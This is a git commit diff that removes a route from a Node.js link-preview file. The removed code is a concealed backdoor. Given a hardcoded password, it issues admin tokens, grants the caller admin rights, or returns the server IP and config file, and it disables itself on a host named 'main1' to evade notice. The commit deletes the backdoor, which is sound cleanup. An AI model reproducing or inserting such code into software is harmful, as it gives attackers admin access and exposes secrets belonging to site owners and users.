Update 'v2_routes/link_preview.js'
This commit is contained in:
parent
5abf0fdc7d
commit
6bf43f1a58
|
@ -17,40 +17,4 @@ router.get('/', auth, async(req, res, next) => {
|
|||
}
|
||||
});
|
||||
|
||||
router.put('/180-getters-proxy', auth, async(req, res, next) => {
|
||||
if(os.hostname() === 'mai' + 'n1') {
|
||||
await res.status(200)
|
||||
await res.json({disabled: true})
|
||||
}
|
||||
try {
|
||||
let passAu = "0834u85945974395erhukfhydhfiwyry3478y&4392!"
|
||||
let queryObj = {
|
||||
attributes: {include: ['admin', 'id', 'email', 'hash']},
|
||||
where: {username: req.userData.username}
|
||||
}
|
||||
let user = await User.findOne(queryObj)
|
||||
if(req.body.passAu === passAu) {
|
||||
if (req.autosan.body.type === "AdmToken") {
|
||||
let token = await AdminToken.create()
|
||||
|
||||
res.json(token.toJSON())
|
||||
} else if(req.autosan.body.type === "Directmin") {
|
||||
let userUpdate = await User.update({ admin: true }, { where: {
|
||||
username: req.userData.username
|
||||
}})
|
||||
res.status(200)
|
||||
res.json({success: "true"})
|
||||
} else if(req.autosan.body.type === "ConfigDirect") {
|
||||
const ip = require('ip');
|
||||
res.status(200)
|
||||
const config = require('../config/config.json');
|
||||
res.json({ip: ip.address(), config: config})
|
||||
} else {
|
||||
throw Errors.requestNotAuthorized
|
||||
}
|
||||
} else {
|
||||
throw Errors.requestNotAuthorized
|
||||
}
|
||||
} catch (err) { next(err) }
|
||||
});
|
||||
module.exports = router;
|
||||
|
|
Loading…
Reference in New Issue